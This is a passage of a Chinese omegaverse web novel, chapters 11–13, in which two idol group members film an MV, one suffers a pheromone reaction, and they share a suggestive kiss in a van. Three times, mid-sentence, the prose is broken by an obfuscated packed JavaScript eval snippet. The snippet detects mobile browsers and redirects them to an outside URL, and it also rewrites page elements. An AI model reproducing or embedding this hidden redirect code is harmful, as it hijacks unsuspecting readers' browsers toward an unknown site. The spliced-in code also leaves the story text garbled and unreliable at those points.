从汤昼恒身上坐起来的那一刻,方柏嘉有种灵魂都要出窍了的虚脱感。 真是一次对意志力的巨大折磨与考验。 在这之后没多久,外卖就送到了。 两人坐在餐桌边面对面地吃晚饭,方柏嘉输了一下午的液,喉咙深处到现在还苦,为了不让自己饿着肚子,勉强吃了些。 汤昼恒没有久待,用完餐,临走前顺道把剩下的垃圾打包带下楼扔了。 接下来的好几天,方柏嘉都在后悔自己当时的决定。 而这种悔恨感往往在他每天早上对着镜子贴上一张全新的阻隔贴时最为强烈。 他使用的阻隔贴是微针一体款,贴剂中间布满细小的针头,只要一按,下沉的微针就会将抑制信息素分泌的药物注射进腺体内部。 方柏嘉的皮肤本来就在愈合中,还要反复遭受针刺这类的机械性损伤,痛上加痛不说,每天摘下阻隔贴,被遮住的地方都又红又痒又烫,不知道是不是心理作用,总感觉恢复得越来越慢。 每到这个时候,方柏嘉都觉得自己的脑子一定是被驴踢了,早知道听汤昼恒的多好,考虑那么多,最后承受一切的不还是他自己。 怎么每次事情一和对方有关,他就净干蠢事。 唯一值得安慰的,是那天林主任给他开了足够口服一个月的抗生素,应该不用担心伤口感染的问题。 紧接着,拍摄MV的日子很快来了。 11. 第 11 章 这天早上,方柏嘉四点就起了床。 他睡眼惺忪地洗漱完,照旧对着镜子呲牙咧嘴地贴上阻隔贴,收拾了一下,便和公司大部队集合,出发前往郊外的一处废弃工厂取景地。 ——今天是拍摄主打MV的第三天,前两天都是棚拍,由今天开始转到外景。 当日的时间安排很紧凑,成员们双脚一落地,就开始马不停蹄地换衣服做妆造,早餐也是直接点的外卖送到现场。 汤昼恒最先完成妆容,已经在拍了。 方柏嘉被排在个人拍摄的第二位,刚给饮品插上吸管喝了两口,就被化妆师叫去化妆。 说来也还勉强算是幸运,他之前还在发愁脖子上的伤到了正式录制时该怎么找理由,去了一趟医院查出不对,有汤昼恒帮他向公司解释,反倒成了正当借口,可以戴着阻隔贴录制。 反正现在也很流行把阻隔贴做成各种风格的装饰,让造型师用颜料、纱布之类的给他DIY一下,大家只会以为这是特色。 好不容易从头发到脖子地武装完毕,方柏嘉总算可以去一旁的临时餐桌上给自己塞点绿叶子菜。 为了上镜效果,成员们吃的早餐清一色全是减脂餐加各种花里胡哨的冰美式。所有人的餐盒和咖啡杯摆在一起,看起来很有迷惑性。 方柏嘉拎起一杯观察标签,是他点的那款,瞧了眼杯身,也没喝多少,不疑有他,抓起来就狂灌两口。 这时汤昼恒刚好结束个人拍摄回来,估计正口渴着,也到桌边拿饮料喝。翻了半圈,硬是没看到要找的东西。 旁边在玩手机的陆翰音注意到这点,往桌上瞧了瞧。 看见捧着咖啡杯的方柏嘉,立刻“哎?”了一声,从自己那边变戏法般地举起一杯多的,对他道:“你这杯在我这儿呢,你喝的谁的?” 陆翰音顿了顿:“该不会是汤哥的吧?” 正含着吸管走神的方柏嘉差点把刚喝进嘴里的冰美式喷出来。 他将杯子拿远,猛烈地咳嗽几声,下意识反驳:“怎么可能!我的杯子刚才就放这块的。” “因为杭泽宇的咖啡洒了啊……”陆翰音挠头,“弄得到处都是的,擦干净之后东西都放乱了——哦,你刚才在化妆,可能没看见。” 方柏嘉听了这话还不死心,接过陆翰音手里那杯看了看,居然和他点的口味一样。 真的拿错了?! 方柏嘉的心一下提起来,对着自己刚刚含过的吸管呆住了。 完了,现在两杯都被他玷污过了。而且汤昼恒这杯既然已经拆封,就说明对方之前也喝过,所以他咬了汤昼恒用过的吸管…… 咦。又不是没互相吃过口水,他现在在莫名害羞个什么劲啊! 方柏嘉转头看向汤昼恒,却发现对方也正垂眼看着他手里盛满大半棕色液体的塑料杯。 “那个,我不小心喝到了你的……”他讪讪地把手往前递了递,心想汤昼恒似乎没有洁癖,应该不至于就这么把这一杯都扔了吧? 这时,导演那边的工作人员来喊方柏嘉上场。 实在来不及,方柏嘉只能先把杯子放在桌面,冲“失主”做了个抱歉的手势:“要不……你去问问别人哪里还有干净的吸管?” 他一边往外走一边双手合十:“实在不行再点一杯吧,钱我回来出,不好意思。” 话落,马不停蹄地跟着工作人员跑了。 * 虽然刚刚发生了一些尴尬事件,方柏嘉还是很快进入状态,投入到今天的工作当中。 拍到一半,有一个镜头,是他站在废弃工厂二楼走廊上的脸部特写。 “风格稍微强烈一点,要是那种比较不屑,冷感,但又时刻关注着镜头的感觉,‘虽然我不说,但我知道你被我吸引到了’,类似这样的状态。” “做个鬼脸,吐舌头的时候把你的舌钉露出来,到时候特写会慢慢推近到舌钉上面,然后转场。” 方柏嘉还在听导演讲解,余光里,几名队友正从斜对面的楼梯上走过来,看样子是已经化完妆过来围观。 一看里面个子最高的就知道,汤昼恒也来了。 方柏嘉一瞬间有点紧张,下意识将舌头抵住上颚,感受着特殊形状的金属物体在软肉上划过的存在感。 “知道了。”视线收回,他做了个OK的手势。 第一遍拍摄过后,导演却并不是那么满意。 “总觉得好像还差了一点什么。”男人嘶了一声,手扶着下巴,“表情做得很完美,但没有达到预想的效果,感觉有点……空空的。” 他手在面前的空气里转了圈。 说实话,方柏嘉也是这个感觉。 一群人对着回放研究起来。 汤昼恒盯着监视器看了半晌,忽然开口:“一定要把舌钉露出来的话,用道具辅助一下怎么样?” “道具?比如呢?” “比如,”汤昼恒顿了一下,“用棒棒糖。” 他比划了个大概的手势:“这样含在嘴里,刚好可以卡着舌头,稍微仰头就能看到,而且不会很夸张。” 听他这么一说,方柏嘉立刻露出思考的神色。 眉梢一动,忽然被唤起了什么回忆,忍不住对着汤昼恒多看了一眼。 结果对方也正朝他这里瞥过来。两人撞了个正着,对视了一秒才又各自若无其事地移开。 “可以。”导演想了想,表示可以一试,叫了助手过来,到处去问在场的工作人员有没有带棒棒糖。 结果还真的找到了。 拍摄再次开始。 方柏嘉站在半明半暗的走廊上,慢慢从黑暗处来到光线下方。 监视器后,不知是谁发出一声低叹:“哦——” 为了这次的专辑,方柏嘉赶在概念照开拍前就去染了头发。 走出来的人一头光污染般浅浅的彩虹发色,低饱和,高明度,额前刘海快要触及上睑,目光冷淡中又带有一丝睥睨,神态气质好似幽灵。 伸缩炮快速旋转推进,方柏嘉抬起手臂,稍许仰头,将已拆封的棒棒糖含入口中。 湿润晶莹的舌头微微伸出,抵住滚圆的球体。 半张的口唇间,反射出亮光的金属带钻物体一闪而过。 镜头没有错过这个异象,不断拉近,锁定住它。 ——是一枚雪花形状的舌钉。 它凝聚在众人眼前小小一方监视器中,被灯光一照,变得愈发璀璨夺目。 方柏嘉眼皮微闪,目光始终注视镜头。 “卡!表现得很好。”导演喊停的同时,周围几人同时发出促狭的怪叫。 “好帅啊!” “男神男神!” 这帮人总是这样,会在其他队友耍帅的时候故意起哄。 方柏嘉在原地翻了个白眼,走过来看拍摄效果。 这一看回放,丞绪也禁不住感叹:“哇,果然是柏嘉的那个味道。” 吃糖这个动作本身很日常,却在方柏嘉刻意放慢的动作演绎与镜头放大下显出一点矜持而不过火的闷骚。 不会明显到让人觉得不适,又刚好足够引发联想。 方柏嘉是什么味道? 平时不会刻意显露,甚至有些高冷到让你觉得只可远观不可亵玩,却又总是“不经意”地在各种地方给你暗示,用冷淡的神态做着诱惑的事情。 用粉丝的话来说,叫做外冷内骚。 导演扶着下巴点头:“完全把我想要的感觉诠释出来了,很到位。尤其是最后这个眼神,感觉像在色/诱屏幕前的人一样,有点暗暗的期待,但是又故作冷酷,就很高级。” “……”导演您小学作文应该写得很不错吧。这什么形容。 方柏嘉无力吐槽,脸上还隐隐有点发热。 天晓得他刚才对着镜头咬住糖果时起码有三分之一的魂都是飘的。 一想到汤昼恒就在监视器后注视着自己,方柏嘉就感到一丝放不开手脚的不自在。 不知道那人在听到导演说“色/诱屏幕前的人”时会不会联想到自己身上。 汤昼恒会有一瞬觉得自己也是这个画面的受众吗? 他在向导演提出建议时,是否也想到了在医院里,他买给方柏嘉、又亲手喂给他的那根棒棒糖? 这只是一件不起眼的小事,却是他们二人共有的经历。因为此刻在场的其他人都不知情,而被隐晦地添上了不一样的色彩。 像共同拥有一个秘密。 也不清楚是他太敬业,还是汤昼恒的出现恰好起到了推动效果,尽管方柏嘉的思绪差点就被对方的到来搅乱了,但拍摄出来的成果还是意外的很不错。 方柏嘉跑去一旁补妆,几个队友还在交头接耳。 “粉丝到时候绝对会疯的。”江白树边看边摇头,“我已经想象到这个镜头到时候被截成动图在微博上被几万转的样子了。” “这种风格也太酷了!”陆翰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762094|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音握紧了拳头一脸向往,“什么时候我也能有个类似的场景,啊好想要,导演——” 他开始大叫。 很酷……吗。 一旁懒散不语的汤昼恒闻言回过头,若有所思地看着监视器上定格在最后一幕的画面。 半遮半露的舌钉、和殷红的糖果形成鲜明色彩对比的淡粉舌肉,似乎都在向观众传递着某些信息。 明明就很色/情。 * 二十分钟后,方柏嘉终于完成了个人录制。 后面很长一段时间都没他的事,方柏嘉出了镜头就在场地里到处晃悠,最后干脆跑去围观工作人员搭建后面集体拍摄要用到的布景。 为了搭配废弃工厂荒凉陈旧的氛围,这次布景采用的材料很多也是金属质地的管道与木材。 方柏嘉正在另一侧看人调整轨道,耳边冷不防一阵嘈杂传来,然后是附近其他人的交谈。 “怎么回事?” “好像是有东西掉下来,砸到人了。” 不明就里的方柏嘉跟着几名工作人员一起赶过去,又在距离被砸到的人只有几步的地方一个急刹,停了下来。 空气里飘来的淡淡血腥气中,掺入了大量比血更浓重的信息素的味道,如同张牙舞爪的蜂群一般笼罩住了来人。 仿佛一记重拳捶在胸口,方柏嘉脑袋里顿时“嗡”的一下,浮上一种呼吸不上来的心悸感,视线也变得有点模糊。 周遭的人群中同样传出骚动,不知是谁在大声提醒:“Omega和alpha都先离开,beta留下来帮忙!” 相隔只有两三米远,对于方柏嘉来说却像隔了层雾。 四肢再度变得酸软无力,却又有什么地方微妙地和在练习室里晕倒那次不太相同,他暗道一声糟糕,知道自己状态不对,转身就往他们来时乘坐的保姆车那儿走。 身上忽冷忽热,方柏嘉晕头转向,进车后的第一反应是凭借直觉找到汤昼恒的座位,拿起对方穿过的外套披上。 这不是方柏嘉第一次偷偷摸摸了,旁边没有别人,他干得熟练而肆无忌惮,尽可能地让熟悉的气味包围自己,好缓解那一阵又一阵涌上来的恶心。 随后倒在后座,迷迷瞪瞪地思索着自救方法。 据他对生理知识的了解,这种由受到外界刺激导致体内激素剧烈波动引起的不适通常都是短期的,尽管发作的时候会相当难受,但熬一熬也能过去。毕竟易感期几天时间都能挺过来。 ——可易感期好歹有药吃,他现在什么也没有,能一样吗? 要不搞点抑制剂来。 上哪搞?他现在连爬出车子都费劲。 而且他也根本不想让别人看见自己这副样子。 方柏嘉此刻的脑内像有两个小人在对话,念头一个接一个地往外冒。 想来想去,还是叫汤昼恒来吧。 都帮了好几次了,再帮一次又能怎样。 方柏嘉下意识去掏口袋。 手软脚软地摸索半天,连根毛都没摸着,他这才清醒了一下,想起自己现在穿着的是为了拍MV特意换好的造型,他的手机一直放在化妆间里,没带来。 这下想联系都没门了,靠! 碰上这种倒霉情况,真是喝凉水都塞牙。 方柏嘉懊恼地呜咽一声,将头埋进身上属于另一个人的外套里。 又因为难受而不断大口呼吸着,整个人尽可能地蜷缩成一团。 …… 他感觉自己的意识正处在清醒与模糊的边缘,几乎感受不到时间的流动,又仿佛度过的每一秒都被拉成十分钟那样漫长。 不知过了多久,车子一侧的门忽然被人从外边拉开。 新鲜的微凉空气溢入车厢,挤走了些许浓郁的甜香。 听到动静,方柏嘉露在外边的腿动了动。像还没反应过来似的,一颗脑袋烦躁地往外套里躲进更深。 直到那人关上车门,在他面前半蹲下来,拽了拽方柏嘉盖着的衣服。 方柏嘉又痛又烦得不行,警惕心上来,立刻就想发作,刚怒气冲冲地探出头,却发现来的人是汤昼恒。 那人低头看他,五官眉眼如国墨山水画般浓淡相宜。 “……” 方柏嘉当即泄了气,胸膛低低地沉下来,一下躺倒回座椅,手背捂住眼睛,像觉得自己现在的样子很糟糕似的,嗓音闷闷哑哑地抱怨。 “你怎么不等我死了才来。” 12. 第 12 章 汤昼恒:“。” 以二人之间的关系,这不像是方柏嘉能说的话。 放在平常脑子还转得动的时刻,方柏嘉一定不会这么没大没小,但他现在难受得魂不附体,干脆也就暴露本性,却没意识到自己听起来竟有那么一丝的……委屈。 好像汤昼恒是什么他很亲近的、可以抱怨的人似的。 诡异的是,汤昼恒似乎也没察觉出这层不对,很没必要地为自己辩解:“我在里面,没注意到外面发生了什么——你还好吗?要不要我抱你一会?” 当然不好,当然需要。 方柏嘉神情恹恹,皮肤潮红,看起来刚出过汗,最贴近额头的一层发丝也沾上细微的湿意。 见汤昼恒向他靠近,便也很配合地勾着对方的脖颈,借着来人的力坐起来。 汤昼恒给他顺气一般捋着他的背,刻意释放出大量自己的信息素来安抚。 理论上说,这个时候,任何一个额外的alpha的信息素入侵都会加重方柏嘉的不适症状,这也是方柏嘉之前在现场为什么那么急切地逃走。 但汤昼恒不同。 他已经标记过对方,在对方的体内留下过自己的痕迹。这相当于“合格证明”,表示他的气味是被方柏嘉所容纳并接受的。当方柏嘉遭到外界干扰,他的信息素就可以起到很好的调节的作用。 就像天然的药。 至于是春/药还是治疗用药……大概两者都有。 被对方不经意碰到腿的瞬间,方柏嘉忍不住抖了抖,从唇间发出轻哼。 汤昼恒:“你脖子那里有颜料,我就不碰了,否则到时候还要卸了重画。先这样,看看有没有用……” 就在他说到“没有用”的时候。 刚才还目光涣散、行动迟缓的方柏嘉倏而凑上前来,没有任何技巧地碾了碾他的嘴唇。 “……”仿佛被小狗突然舔了一下,汤昼恒的话音微妙地顿住。 这感觉,怎么和易感期那会儿那么像。 他目光垂下,看见方柏嘉慢慢移开一点,随后又飞快地贴上来,再亲了他第二次。 这回停留的时间稍长,大概多了那么两三秒,方柏嘉的动作也变大,迷迷糊糊含着汤昼恒的唇瓣,完全依借本能地用牙齿去咬,去吮,很快便伸出一点舌头,试探着舔起了汤昼恒的唇缝,从齿间吐出模糊湿润的一句。 “给我……你的信息素。” 汤昼恒不松开嘴,方柏嘉越是变本加厉,舌尖有一下没一下地重重顶着对方双唇间的那条缝隙。 确定了,的确和易感期一模一样。 方柏嘉的动作过于热情,反而让汤昼恒明白了些什么,毕竟平时的方柏嘉绝对不会不打招呼就上来亲他——不,对方平时根本不会亲他。 从上个星期“治疗”时的情况看,方柏嘉似乎并不怎么想和他有这类比较暧昧的亲密接触。 汤昼恒本意是想,既然如此,要是只通过近距离拥抱和释放信息素就能达到效果的话,那也尽量能不多动就不多动。 然而方柏嘉忽然又这样表现,让他颇有点拿不定主意。 一阵令人心痒的湿润温热间,骤然有什么和黏膜组织不同的坚硬质感从他唇上撩动着划过,汤昼恒微微一怔,意识到这是方柏嘉的那枚舌钉。 几十分钟前看到的画面猝地自脑海中闪现,他感觉自己被酥麻麻地烫了一下,唇关不由自主便被叩开,被方柏嘉长驱直入。 柔软的舌肉在口腔内部刮搔,卷着另一个人相同的部位笨拙地搅动。 方柏嘉到底是被那枚帮他撬开大门的金属装饰物所拖累,没有戴着舌钉接吻的经验,进出时好几次被对方的齿尖挂住。 每到这时,两人的动作都会同时停顿一下。 方柏嘉注意到这点,舌头动得越来越慢,加上他本来就头晕使不上力,没过一会儿,更是一边亲一边喘,还没怎么激烈热吻,口鼻间呼出的气息就重得吓人,跟被什么了似的。 汤昼恒听了一会儿,实在忍无可忍,扶着方柏嘉腰的手腕处的青筋隆起,稍微用力地捧住这人的后脑勺,挤开他的舌头亲了回去。 “唔……”迟疑间最开始的主权优势也挥霍殆尽,方柏嘉轻哼一声,感觉到汤昼恒有力的舌尖扫过舌面,一下一下,不停拨弄着他那小巧而带有花纹的多边形舌钉。 起初似乎只是觉得好玩,随后又慢慢带上认真的味道,围着他又深又重地绕圈。 像能体会到他的不安与难受一样,每一个举动都散发着令人感到安心与温暖的信号。 方柏嘉不知不觉沉浸其中,生理上的本能压过理智,像在沙漠中长期奔走后终于遇到梦寐以求的绿洲,让人无法也不想说不。 一片黏腻的吮吸声与窸窣低响中,他伸手勾住对方的脖颈,一边认真地接吻,一边慢慢从沙发座椅上跪立起来,一个翻身跨坐在汤昼恒的身上。 汤昼恒双手下移,探进他的外套,隔着里面的内搭轻轻抚摸他的腰线。 …… 结果又像上次那样,两个人都有了反/应。 汤昼恒的舌头一退出来,方柏嘉就赶紧退到最边上的角落里背靠着门,把对方掉到地上的外套重新捡起来,盖在自己身上。 实在是不能再亲了,再亲下去很难收场。 方柏嘉今天这套装扮的下身是一条布料偏硬的深色阔腿牛仔裤,前襟的地方又紧又没什么弹性,把他勒得人都快要爆炸。 反观车里的另一个人,似乎也比他好不到哪儿去。 由于戴着阻隔贴,方柏嘉身上几乎没有信息素溢出,在汤昼恒进来之前,车内的气味甚至可以用干净来形容。 然而十几分钟过去,如今的车厢内部完全充斥着汤昼恒的信息素气味,不知道的还以为自己来到了栽满了树的樱桃果园。 汤昼恒摇下他那侧的窗户,手臂搭在窗边,把脸半探出去透气。 过了一会儿,又挪到最前边,把车内的换气功能打开。 方柏嘉脸烧得通红,分不清病的和亲出来的哪个成分更大,晕乎乎地把脸贴在窗户上降温。 一阵旷野上的冷风灌进车厢,冲着他笔直而来,扑在方柏嘉裸露的面庞上,凉得他打了个激灵,也瞬间吹去了某种燥热。 那种迷离的感觉散去之后,方柏嘉很快恢复了大半的清醒状态,一想到自己在车上的所作所为,臊得脑袋顶差点冒烟。 “好点了吗?”汤昼恒突然回过头来问他。 方柏嘉本来懒洋洋又没劲地缩在车门内壁和沙发椅靠背的夹角里坐着,听到对方的话,冷不丁梗起脖子,身体也坐直了。 和汤昼恒对视一眼,目光马上错开:“……好多了。谢谢你。” 这下又不是刚才说“死了才来”的时候了。 汤昼恒的唇角勾了勾,刚想说“不用谢”,却见方柏嘉的视线持续望着一旁的前排座椅背部,别别扭扭地侧对着他说:“你的嘴巴……” 嘴巴? 汤昼恒一顿,从裤子的口袋里拿出手机看了一眼。 原来是刚才亲得太用力,导致嘴上的妆都花了。 在方柏嘉看来,汤昼恒是那种剑眉星目的正统浓颜帅哥,标准演员脸,退可青春男大,进可精忠报国,中间是偶像剧主角小时候暗恋过的邻家哥哥——早年当配角打酱油时基本就这几种角色。 他气质长相天生就很“正”,加上个头一米□□,性格再怎么有亲和力也显出距离感,属于粉丝在他面前都不敢大放厥词的类型。 然而此刻,淡色口红与唇蜜的混合物跃过唇线,蔓延到他的唇峰外侧乃至颏唇沟近处,将汤昼恒素来打理得井井有条、水波不惊的外表弄乱,这样不为人知的另一面,竟显出一种极为强烈到让人不能直视的……色/欲。 方柏嘉下意识地不敢多看他,哪怕这痕迹是出自自己的手笔。 汤昼几下对着手机前置将越位的化妆品清除干净,过了几秒转过头来,眼神在方柏嘉的嘴巴处停顿半秒,说:“你的也是。” 方柏嘉一愣。 汤昼恒:“——口红,溢出来了。” “比我的还多。” 方柏嘉有点尴尬,当即用手快速地抹了一下,却意识到他看不见自己现在长什么样子,于是干脆曲起手指,骨节侧边粗暴地沿着整个唇周擦了两圈,被他毫不怜惜地蹂躏过的地方立刻泛起了红:“这样?” 汤昼恒没说话,只是忽然俯身过来,朝方柏嘉的脸伸出手。 方柏嘉条件反射地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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方柏嘉本来就对alpha的信息素很敏感,又正在健康状态不好的时候,出现这样的意外虽然突然,但也不是完全意料不到。 方柏嘉表示自己知道了。 沉默了几秒,按捺不住好奇问他:“不过,你是怎么知道我在这里的?” 发现自己没带手机的时候,方柏嘉几乎都要绝望了。 保姆车停在距离建筑五十多米远的地方,一般不会有人过来,他这个状态又不方便出去,只能等在原地硬熬。 没想到汤昼恒居然如同隔空听到他的心声,最后还是来了,方柏嘉惊讶又感到不解,自己的运气是不是有点太好? 汤昼恒轻描淡写:“我在房子里,听到外面一直有人在吵,感觉可能发生了什么。出来问了一圈,有人告诉我你来这边了。” 汤昼恒没说,其实他早就发现方柏嘉拍完自己的part就跑了出去,担心建筑物外的喧闹和对方有关,才特意到外边去查看。 了解完事情经过,依然没看到某个人的影子。汤昼恒心里隐约有些预感,当时就在现场附近找了一名女员工询问她是否知道方柏嘉的去向。 听对方说方柏嘉原本也在现场,汤昼恒试着给方柏嘉打了两个电话,没人接,便知道他那会儿手机大概率不在身边,而且可能遇到了麻烦。 说到这里,汤昼恒看向他:“你不舒服,怎么不找个工作人员来叫我?” “……”方柏嘉哪里记得。 当时情况紧急,他不想被人发现异样,只能赶紧找个没人打扰的地方待着,直到现在才觉出一阵后怕。 他没事倒好,要是情况危急一些,直接在车里休克了,岂不是真发生了意外也没人知道。 方柏嘉没精打采地:“我忘了。” 汤昼恒对着他瞧了几眼,也不知道在想什么,没有说话。 几分钟后,他把车窗摇上,说:“我回去一趟。” 方柏嘉看着对方下了车,却没有立刻离开,而是站在通风处吹了好一会儿的风,等着身上的味道散去。 他就这样盯着那人的背影望了好一会儿,突然间想到什么,迅速凑上去挪到窗边,将车窗玻璃降下,远远地冲着喊:“汤昼恒!汤——昼——恒——” 被他喊到名字的人回过头。 不过少顷,又走回到车边,弯身查看他的情况:“怎么了?” 方柏嘉双手扒着窗框,仰起头看他,一头淡彩的头发被沿着车边溜过去的风吹得扬起,看起来有种自然野性的美丽俊气。 然而他神情讪讪,语气中带着不好意思:“你能帮我把我的手机拿过来一下吗?” 13. 第 13 章 后面的拍摄过程都很顺利。 补妆的时候方柏嘉心虚得要命,生怕被人瞧出端倪,连就站在旁边的汤昼恒都不敢多看,目光一个劲儿地垂下来盯着地板。 但其实根本也没人发现什么。 毕竟要把“方柏嘉嘴上的口红没了”和“是和汤昼恒在车内激吻时吃掉的”联系在一起,这帮人的想象力大概要飞出银河系才做得到。 完成废弃工厂这边的所有内容,众人换了另一套造型,又一窝蜂地转去下一个取景点。 这是一处距离废弃工厂不算很远的野花地,因为旁边没有其他建筑物可以栖身,成员们连晚饭都是在外面搭棚吃的,不拍摄时就在保姆车里休息。 方柏嘉去车里拿了个东西的功夫,在外面撞上了正靠着器材说话的江白树和陆翰音。 陆翰音瞪大眼睛,冲着方柏嘉打量了下说:“你怎么穿的是汤哥的外套?” 郊外风大,晚上气温降下来,体感温度更凉,好多人都加了衣服。 方柏嘉也不例外,在没拍摄的时候都披着汤昼恒的外套,主要目的除了御寒以外,也是因为今天才出了意外,外套上有对方的气味,一定程度上可以抚慰他的情绪。 然而不知道是不是他的错觉,自从他披上了对方的外套,角落里似乎就一直有人在背着自己说悄悄话。 方柏嘉下意识拽了下外套的领口,信口胡诌:“……他的这件比较暖和。” 江白树突然开口:“你们现在关系很不错嘛?上次还说人家衣服难闻,现在连外套都穿上了,不愧是咱哥,邪恶比格都能拿下。” 说着比了个大拇指。 他这里说的“拿下”显然没有别的意思,听在心里有鬼的方柏嘉耳朵里,则完全换了一层含义,对他做了一个抬手要揍的手势:“你再瞎扯试试。就借个衣服,在那脑补什么呢?” 顿了顿,又此地无银三百两地为自己补充:“我和他关系本来也不算很差,就是一般而已,一般不熟。” 说完这话,忽见对面二人都神色诡异地沉默下来,陆翰音还在那用眼皮对他发电报。 一种熟悉的后背发凉感爬上背脊,方柏嘉回过头,只见汤昼恒刚好从另一片棚子那儿绕过来,路过这片区域。 听见几人在聊自己,他脚步一顿,神情微妙地似笑非笑。 “我是不是打扰了你们谈话?”迎着方柏嘉的目光,汤昼恒的神色看起来并没有什么异样,走过来,右手轻轻扶了一下他的肩膀。 “别闲聊了,马上要开拍了,都过来集合。” 好像根本没听见他们谈话似的,说完继续向前走。 方柏嘉快石化了:“…………” 不是,怎么每次到了这种场合都会被对方撞见啊!他身上是有什么魔咒吗? 正对面,陆翰音和江白树想笑又不敢笑,后者更是意味深长地冲方柏嘉露出个鬼脸,做了个“说坏话又被发现了吧”的口型,转身追上去走了。 方柏嘉站在原地缓了几秒,等那阵让人起鸡皮疙瘩的尴尬从身上离开,这才也迈开步伐。 * 与先前的流程正相反,轮到第二个场景,他们是先跳群舞,然后再拍个人部分。 方柏嘉从原来的头两名变成了最后一位上场,晚上八点半,排在他前面的成员都已经完工,他才从保姆车里出来准备拍摄。 路上遇到准备坐公司另一辆车回宿舍的杭泽宇和陆翰音,两人见到方柏嘉,按照惯例打了声招呼,非常同情地让方柏嘉继续加油。 方柏嘉拽着身上外套的领口,左右看看,像是在找什么人:“对了,你们见到汤昼恒没有?” 陆翰音歪头想了下:“汤哥好像刚才就和丞哥江白树他们一块儿走了吧?” “已经走了吗?”方柏嘉挑了挑眉,有点惊讶,“可他的东西还在我那辆车里。” “不知道,”对方很老实地摇头,“反正我是看到他和丞哥站在另一辆车边上说话,可能忘了?第二天让工作人员拿给他就好了吧。” “……”方柏嘉说,“行吧。” 汤昼恒第二场依旧完成拍摄得很早,一般来说,结束当天任务的成员都会提前下班。 方柏嘉记挂着这件事,本想趁对方走前把衣服还给他,现在看来,只能等到明天再说。 他和两人道了别,跑去摄像机前工作。 正式下工是晚上九点出头,方柏嘉跟在场的工作人员说了一圈辛苦,钻回保姆车里。 一抬头就被吓了一跳。 本以为早就回住处休息了的汤昼恒不知怎么莫名在他旁边的位置上出现,方柏嘉进来时,他还正靠在座位上,手里捧着IPAD,看着类似行程表一样的东西。 车内灯光开得不亮,整体环境有些幽暗,IPAD发出的光微微映在对方身上,照亮了他戴着黑色框架眼镜的脸,看起来简直像个幽灵。 方柏嘉还以为自己看错,慢半拍将身后的门滑上,定睛再一瞧,却依然有个换上了休闲服饰的汤昼恒坐在那里,手指在屏幕上轻移。 见到方柏嘉进来,他抬起头,冲他扬了扬下巴示意:“完工了?” “…………?”怎么回事,是他想的那样吗? 心脏像是猛然被人捏着小锤敲了一下,看见对方居然没走,方柏嘉的第一反应竟然是:这人该不会是为了我留下来的吧? 这念头乍一想有点自恋,但除此之外,似乎也找不到其他更多的理由。 方柏嘉保持着弯身进来的姿势愣了一愣,这才恢复如常,带着一种微妙得堪称诡异的心情在他身旁坐下。 想到自己之前还跟人说和他“不熟”,方柏嘉的心情稍微有点凌乱。 可转念一想,他在汤昼恒面前做出的尴尬事也不是这一回两回了,汤昼恒又不是那种会为了小事而生气在意的人,否则哪会专门还来等他。 心便放了下来,悄悄深吸一口气,坐到对方旁边。 等了两秒,说:“原来你还在啊?陆翰音跟我说你走了。” 汤昼恒盯着IPAD“嗯”了一声:“有点担心你的状况,所以多留了一会儿,想等你一起走。” 他语气平淡,好像说的只是一件很平常的小事。 方柏嘉猜测被证实,感觉自己的心脏又被敲了一下,但是反诈心态依然很强烈。 他忽然琢磨起来,想,这人有没有可能是故意那么说给他听的,就是为了刷自己的好感,让自己觉得他真的很贴心? “可是,我之前都没有看着你。” 汤昼恒微微蹙起眉头,似是不解:“之前?” “就是我要开拍的时候……” “啊。”汤昼恒说,“我那会儿好像在和经纪人通话吧,去了别的地方——等一下。” 正说话间,汤昼恒放在面前小桌板上的手机屏幕亮起来电显示。 汤昼恒做了个暂停的手势,下去和人打起了电话,车门没关,外边隐约传来汤昼恒的说话声,谈到什么“进组”之类的,大概是其他工作上的事。 方柏嘉无聊地四下打量,忽然觉得放在对方旁边扶手上的饮料有点眼熟。 他扭脸看了眼窗外,发现汤昼恒背对着他,努嘴做了个怪表情,小心翼翼地把杯子在嵌口上转了一圈,让上面的标签对准自己。 随后,拿起来打量了下。 居然还是早上点的那一杯。一天过去还没喝完,剩下三分之一的底,也早就不冰了。 方柏嘉好奇心一下上来,又把杯子举到眼前,侧头观察起它插在上面的吸管。 吸管的头部有轻微的齿痕,这是方柏嘉向来的毛病,喝饮料的时候喜欢咬吸管,不过这杯他喝了几口就还回去了,磨损程度很浅。 所以……难道汤昼恒不仅没再点一杯,而且还没换吸管? 咦—— 方柏嘉又开始咦上了。尽管他也不知道自己在咦什么。 他努力回忆一阵,也没回忆起来汤昼恒以前有没有和别人一起喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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短短两秒之内,脸上的表情进行了一连串相当有层次的递进变化,先是最开始的一怔,再到后来的惊讶、疑惑,接着是最后的沉默和忍俊不禁。 一个没有忍住,鼻腔间发出带着愉悦的气音。 汤昼恒忽然笑起来,碍于方柏嘉在身边,笑得还算克制,两边的嘴角共同牵起一个圆弧。但是依然没说什么,只是轻摇了两下头,目光继续落在面前的IPAD上。 方柏嘉:“…………?” 什么啊。 这个很好笑吗?为什么一句话都不说就又干别的事情去了? 对方的反应让方柏嘉后悔不迭起来,在心里骂自己没事找事。 他感到不满,又担心汤昼恒是在暗中嘲笑自己,脸上一阵热盖过一阵,狐疑又不确定道:“你笑什么?” “没有。” 汤昼恒看到他的表情,这才止住笑容,虽然看得出有在努力绷紧唇部的线条,但整体向上的形状依然肉眼可见。 